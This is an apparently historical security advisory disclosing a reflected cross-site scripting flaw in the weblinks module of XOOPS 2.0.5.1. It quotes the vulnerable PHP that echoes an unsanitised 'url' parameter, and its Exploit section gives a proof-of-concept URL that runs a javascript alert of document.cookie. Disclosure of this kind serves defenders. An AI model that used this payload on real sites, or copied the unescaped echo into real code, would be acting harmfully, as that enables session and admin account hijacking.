XSS vulnerability in XOOPS 2.0.5.1

[Chintan Trivedi <chesschintan () hotmail com>]

====================================================================
Advisory by Eye On Security Research Group - India www.eos-india.net 
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1.==============================================================Product
2.===============================================================Vendor
3.========================================================Vulnerability
4.========================================================About Product
5.=============================================Details of vulnerability
6.==============================================================Exploit
7.==============================================================Credits




1. Product 
==========

XOOPS 2.0.5.1


2. Vendor
=========

www.xoops.org


3. Vulnerability
================

XSS vulnerability in module weblinks


4. About XOOPS
==============

        XOOPS is a dynamic OO (Object Oriented) based open source portal script written in PHP. XOOPS supports a number 
of databases, making XOOPS an ideal tool for developing small to large dynamic community websites, intra company 
portals, corporate portals, weblogs and much more. 


5. Details of vulnerability
===========================

        The weblinks module contains a file named "myheader.php" in /modules/mylinks/ directory. The code of the file 
is as follow : 

---------------------------------
include "../../mainfile.php";
$url = $HTTP_GET_VARS['url'];
$lid = intval($HTTP_GET_VARS['lid']);
.
.
.
<td class='bg4' align="center"><small>
<a target="main" href="ratelink.php?cid=<? echo $cid; ?>&amp;lid=<? echo $lid; ?>"><? echo _MD_RATETHISSITE; ?></a> | 
<a target="main" href="modlink.php?lid=<? echo $lid; ?>"><? echo _MD_MODIFY; ?></a> | <a target="main" 
href="brokenlink.php?lid=<? echo $lid; ?>"><? echo _MD_REPORTBROKEN; ?></a> | <a target='_top' href='mailto:?subject=<? 
echo $mail_subject; ?>&body=<? echo $mail_body;?>'><? echo _MD_TELLAFRIEND; ?></a> | <a target='_top' href="<? echo 
XOOPS_URL; ?>">Back to <? echo $xoopsConfig['sitename']; ?></a> | <a target='_top' href="<? echo $url; ?>">Close 
Frame</a>
</small>
.
.
-----------------------------------

        The value for variable "url" is used in line 
<a target='_top' href="<? echo $url; ?>">Close Frame</a>

        Thus an attacker can pass a javascript code as a value for variable url and get it executed as soon as the 
victim clicks the "Close Frame" link.


6. Exploit
==========

http://[target]/modules/mylinks/myheader.php?url=javascript:alert(document.cookie);

        Clicking the above link, the victim gets directed to a page containing a link "Close Frame" which is actually 
the javascript code inserted by the attacker. The cookie revealed is quite informatic for the attacker to login with 
the hijacked user (including admin) privileges. 


7. Credits
==========

Chintan Trivedi - http://www.hackersprogrammers.com
"Eye on Security Research Group - India " - www.eos-india.net